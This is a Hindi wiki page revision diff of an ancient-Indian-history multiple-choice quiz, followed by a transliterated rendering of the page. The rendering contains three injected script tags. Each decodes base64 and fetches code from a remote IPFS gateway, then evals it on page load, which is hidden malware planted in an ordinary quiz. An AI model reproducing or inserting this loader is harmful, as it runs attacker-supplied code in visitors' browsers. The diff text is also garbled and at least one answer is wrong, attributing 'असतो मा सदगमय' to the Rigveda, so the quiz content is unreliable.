Difference between revisions of "इतिहास सामान्य ज्ञान 16"

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{{इतिहास सामान्य ज्ञान}}
 
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{[[आर्य]] [[भारत]] में बाहर से आए। वे सर्वप्रथम किस स्थान पर बसे थे?
{किस [[देवता]] के लिए [[ऋग्वेद]] में 'पुरंदर' शब्द का प्रयोग हुआ है?
 
|type="()"}
 
+[[इंद्र]]
 
-[[अग्नि]]
 
-[[वरुण देवता|वरुण]]
 
-सोम
 
||[[ॠग्वेद]] के प्राय: 250 सूक्तों में [[इन्द्र]] का वर्णन है तथा 50 सूक्त ऐसे हैं जिनमें दूसरे देवों के साथ इन्द्र का वर्णन है। इस प्रकार लगभग ऋग्वेद के चतुर्थांश में इन्द्र का वर्णन पाया जाता है। इससे हम इस निष्कर्ष पर पहुँचते हैं कि इन्द्र वैदिक युग का सर्वप्रिय [[देवता]] था। इन्द्र शब्द की व्युत्पत्ति एवं अर्थ अस्पष्ट है। {{point}} अधिक जानकारी के देखें:- [[इन्द्र]]
 
 
 
{'असतो मा सदगमय' कहाँ से लिया गया है?
 
|type="()"}
 
+[[ऋग्वेद]]
 
-[[यजुर्वेद]]
 
-[[अथर्ववेद]]
 
-[[सामवेद]]
 
||ऋग्वेद सबसे प्राचीनतम है। 'ॠक' का अर्थ होता है छन्दोबद्ध रचना या श्लोक। ऋग्वेद के सूक्त विविध [[देवता|देवताओं]] की स्तुति करने वाले भाव भरे गीत हैं। इनमें भक्तिभाव की प्रधानता है। यद्यपि ऋग्वेद में अन्य प्रकार के सूक्त भी हैं, परन्तु देवताओं की स्तुति करने वाले स्त्रोतों की प्रधानता है। ऋग्वेद में कुल दस मण्डल हैं और उनमें 1,029 सूक्त हैं और कुल 10,580 ॠचाएँ हैं। ये स्तुति मन्त्र हैं।{{point}} अधिक जानकारी के देखें:- [[ऋग्वेद]]
 
 
 
{[[आर्य]] [[भारत]] में बाहर से आए और सर्वप्रथम बसे थे?
 
|type="()"}
 
-सामातट में
 
-प्रागज्योतिष में
 
+[[पंजाब]] में
 
-[[पांचाल]] में
 
 
 
{[[वैशेषिक दर्शन]] के प्रतिपादक हैं?
 
|type="()"}
 
-कपिल
 
-अक्षपाद गौतम
 
+उलूक कणद
 
-पतंजलि
 
 
 
{'गोत्र' व्यवस्था प्रचलन में कब आई?
 
 
|type="()"}
 
|type="()"}
-ऋग्वैदिक काल में
+
-सामातट
+उत्तर वैदिक काल में
+
-[[प्राग्ज्योतिषपुर]]
-महाकाव्य काल में
+
+[[पंजाब]]
-सूत्रकाल में
+
-[[पांचाल]]
 +
||[[चित्र:Satluj-River.jpg|right|120px|सतलुज नदी, पंजाब]]प्राचीन समय में [[पंजाब]] [[भारत]] और [[ईरान]] का क्षेत्र था। यहाँ [[मौर्य]], [[बैक्ट्रिया|बैक्ट्रियन]], [[यूनानी]], [[शक]], [[कुषाण]] और [[गुप्त]] आदि अनेक शक्तियों का उत्थान और पतन हुआ। पंजाब मध्यकाल में [[मुस्लिम]] शासकों के अधीन रहा। यहाँ सबसे पहले [[महमूद ग़ज़नवी|ग़ज़नवी]], [[मुहम्मद ग़ोरी|ग़ोरी]], [[ग़ुलाम वंश]], [[ख़िलजी वंश]], [[तुग़लक वंश|तुग़लक]], [[लोदी वंश|लोदी]] और [[मुग़ल वंश]] के शासकों ने राज किया। 15वीं और 16वीं शती में [[गुरु नानकदेव]] जी की शिक्षाओं से [[भक्ति आन्दोलन]] ने ज़ोर पकड़ा। [[सिक्ख धर्म|सिक्ख पंथ]] ने एक धार्मिक और सामाजिक आन्दोलन को जन्म दिया, मूल रूप से जिसका उद्देश्य सामाजिक और धार्मिक कुरीतियों को दूर करना था।{{point}}अधिक जानकारी के देखें:-[[पंजाब]]
  
{किस राजा के शासन काल में [[ईसाई धर्म]] प्रचारक 'सेंट थामस' [[भारत]] आया?
+
{[[सातवाहन]] शासकों की राजकीय [[भाषा]] क्या थी?
|type="()"}
 
-[[मिलिंद (मिनांडर)|मिनाण्डर]]
 
-रुद्रदामन
 
+गोन्दोफिर्नस
 
-[[कनिष्क]]
 
 
 
{[[सातवाहन]] शासकों की राजकीय भाषा क्या थी?
 
 
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-[[पालि भाषा|पालि]]
 
-[[पालि भाषा|पालि]]
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+[[प्राकृत भाषा|प्राकृत]]
 
+[[प्राकृत भाषा|प्राकृत]]
 
-उपर्युक्त में से कोई नहीं
 
-उपर्युक्त में से कोई नहीं
||प्राकृत भाषा भारतीय आर्यभाषा का एक प्राचीन रूप है। इसके प्रयोग का समय 500 ई.पू. से 1000 ई. सन तक माना जाता है। धार्मिक कारणों से जब संस्कृत का महत्त्व कम होने लगा तो प्राकृत भाषा अधिक व्यवहार में आने लगी। इसके चार रूप विशेषत: उल्लेखनीय हैं।{{point}}अधिक जानकारी के लिए देखें-: [[प्राकृत भाषा]]  
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||'प्राकृत भाषा' भारतीय आर्य-भाषा का एक प्राचीन रूप है। इसके प्रयोग का समय 500 ई.पू. से 1000 ई. तक माना जाता है। धार्मिक कारणों से जब [[संस्कृत]] का महत्त्व कम होने लगा तो [[प्राकृत भाषा]] अधिक व्यवहार में आने लगी। इसके चार रूप विशेषत: उल्लेखनीय हैं।{{point}}अधिक जानकारी के लिए देखें:-[[प्राकृत भाषा]]
  
{किस [[कुषाण]] शासक ने सर्वाधिक स्वर्ण मुद्रायें जारी की?
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{किस [[कुषाण]] शासक ने सर्वाधिक [[स्वर्ण]] मुद्रायें जारी कीं?
 
|type="()"}
 
|type="()"}
-कडफिसस प्रथम
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-कडफ़ाइसिस प्रथम
+कडफिसस द्वितीय
+
+कडफ़ाइसिस द्वितीय
 
-[[कनिष्क]]
 
-[[कनिष्क]]
-विमकडफिसस
+
-[[विम कडफ़ाइसिस]]
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||[[चित्र:Vima Taktu.jpg|right|120px|सिंहासनारूढ कुषाणवंशी सम्राट शाहि विम तक्षम]] विम के उत्तराधिकारी विम कडफ़ाइसिस और कनिष्क प्रथम थे। विम तक्षम ने कुषाण साम्राज्य को भारत में उत्तर पश्चिम तक बढ़ा दिया था। माना जाता है कि वह लगभग 80 ई. से 95 ई. के समय में शासक हुआ होगा। विम बड़ा शक्तिशाली शासक था। विम तक्षम के जारी करवाये गए सिक्के बनारस से लेकर पंजाब तक बहुत बड़ी मात्रा में मिले है। प्राप्त सिक्कों पर एक तरफ राजा की मूर्ति अंकित है तथा सिक्के के दूसरी तरफ शिव के भक्त नंदी बैल के साथ खड़े हुए शिव अंकित हैं।{{point}}अधिक जानकारी के लिए देखें:-[[विम तक्षम]]
  
 
{किस वंश के शासकों ने 'क्षत्रप प्रणाली' का प्रयोग किया?
 
{किस वंश के शासकों ने 'क्षत्रप प्रणाली' का प्रयोग किया?
 
|type="()"}
 
|type="()"}
+[[कुषाण|कुषाणों]] ने
+
+[[कुषाण]]
-हिन्द-यवनों ने
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-हिन्द-यवन
-ईरानियों ने
+
-ईरानी
-[[शक|शकों]] ने
+
-[[शक]]
||युइशि लोगों के पाँच राज्यों में अन्यतम का कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी कुषाण नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। {{point}}अधिक जानकारी के लिए देखें-: [[कुषाण]]  
+
||'युइशि जाति', जिसे '[[यूची क़बीला]]' के नाम से भी जाना जाता है, का मूल अभिजन [[तिब्बत]] के उत्तर-पश्चिम में 'तकला मक़ान' की मरुभूमि के सीमान्त क्षेत्र में था। इस समय वहाँ [[हूण|हूणों]] के आक्रमण प्रारम्भ हो चुके थे। युइशि लोगों के लिए यह सम्भव नहीं था कि वे बर्बर और प्रचण्ड [[हूण]] आक्रान्ताओं का मुक़ाबला कर सकते। वे अपने अभिजन को छोड़कर पश्चिम व दक्षिण की ओर जाने के लिए विवश हुए। उस समय सीर नदी की घाटी में [[शक]] जाति का निवास था। यूची क़बीले के लोगों ने [[कुषाण वंश]] प्रारम्भ किया।{{point}}अधिक जानकारी के लिए देखें-:[[कुषाण]]  
  
{प्राचीन [[भारत]] में सर्वप्रथम किस वंश के शासकों ने 'द्वैध शासन प्रणाली' की शुरूआत की?
+
{[[प्राचीन भारत]] में सर्वप्रथम किस वंश के शासकों ने 'द्वैध शासन प्रणाली' की शुरुआत की?
 
|type="()"}
 
|type="()"}
-[[शक|शकों]] ने
+
-[[शक]]
-[[गुप्त वंश|गुप्तों]] ने
+
-[[गुप्त वंश|गुप्त]]
+[[कुषाण|कुषाणों]] ने
+
+[[कुषाण]]
-[[मौर्य|मौर्यों]] ने
+
-[[मौर्य]]
||युइशि लोगों के पाँच राज्यों में अन्यतम का कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी कुषाण नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। {{point}}अधिक जानकारी के लिए देखें-: [[कुषाण]]  
+
||'कुषाण' भी शकों की ही तरह मध्य [[एशिया]] से निकाले जाने पर [[क़ाबुल]]-[[कंधार]] की ओर यहाँ आ गये थे। उस काल में यहाँ के हिन्दी यूनानियों की शक्ति कम हो गई थी, उन्हें कुषाणों ने सरलता से पराजित कर दिया। उसके बाद उन्होंने क़ाबुल-कंधार पर अपना राज्याधिकार क़ायम किया। उनके प्रथम राजा का नाम [[कुजुल कडफ़ाइसिस]] था। उसने क़ाबुल–कंधार के [[यवन|यवनों]] (हिन्दी यूनानियों) को हराकर [[भारत]] की उत्तर-पश्चिमी सीमा पर बसे हुए पह्लवों को भी पराजित कर दिया।{{point}}अधिक जानकारी के लिए देखें-:[[कुषाण साम्राज्य|कुषाण]]  
 
 
{निम्न में से किस विद्वान ने [[कनिष्क]] की राजसभा को सुशोभित नहीं किया?
 
|type="()"}
 
-[[अश्वघोष]]
 
-[[नागार्जुन]]
 
-वसुमित्र
 
+बसुबन्धु
 
 
 
{सर्वप्रथम रोम के साथ किन लोगों का व्यापार प्रारम्भ हुआ?
 
|type="()"}
 
-[[कुषाण|कुषाणों]] का
 
+तमिलों एवं [[चेर वंश|चेरों]] का
 
-[[वाकाटक वंश|वाकाटकों]] का
 
-[[शक|शकों]] का
 
 
 
{प्रसिद्ध 'रेशम मार्ग' पर किस वंश के शासकों का अधिकार था?
 
|type="()"}
 
-[[मौर्य|मौर्यों]] का
 
-[[शक|शकों]] का
 
+[[कुषाण|कुषाणों]] का
 
-[[गुप्त वंश|गुप्तों]] का
 
||युइशि लोगों के पाँच राज्यों में अन्यतम का कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी कुषाण नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। {{point}}अधिक जानकारी के लिए देखें-: [[कुषाण]]
 
 
 
{किस काल में अछूत की अवधारणा स्पष्ट रूप से उदित हुयी?
 
|type="()"}
 
-ऋग्वैदिक काल
 
-उत्तर वैदिक काल
 
+धर्मशास्त्र के काल
 
-उत्तर-गुप्त काल
 
 
 
{प्राचीन [[भारत]] में 'निष्क' से जाने जाते थे?
 
|type="()"}
 
+स्वर्ण आभूषण
 
-[[गाय|गायें]]
 
-[[ताँबा|ताँबे]] के सिक्के
 
-[[चाँदी]] के सिक्के
 
 
</quiz>
 
</quiz>
 
|}
 
|}
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{{इतिहास सामान्य ज्ञान}}
 
{{इतिहास सामान्य ज्ञान}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
{{प्रचार}}
+
 
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
 
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{{Review-G}}

Revision as of 13:54, 9 November 2019

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 ary bharat mean bahar se ae. ve sarvapratham kis sthan par base the?

samatat
pragjyotishapur
panjab
paanchal

2 satavahan shasakoan ki rajakiy bhasha kya thi?

pali
sanskrit
prakrit
uparyukt mean se koee nahian

3 kis kushan shasak ne sarvadhik svarn mudrayean jari kian?

kadafaisis pratham
kadafaisis dvitiy
kanishk
vim kadafaisis

4 kis vansh ke shasakoan ne 'kshatrap pranali' ka prayog kiya?

kushan
hind-yavan
eerani
shak

5 prachin bharat mean sarvapratham kis vansh ke shasakoan ne 'dvaidh shasan pranali' ki shuruat ki?

shak
gupt
kushan
maury

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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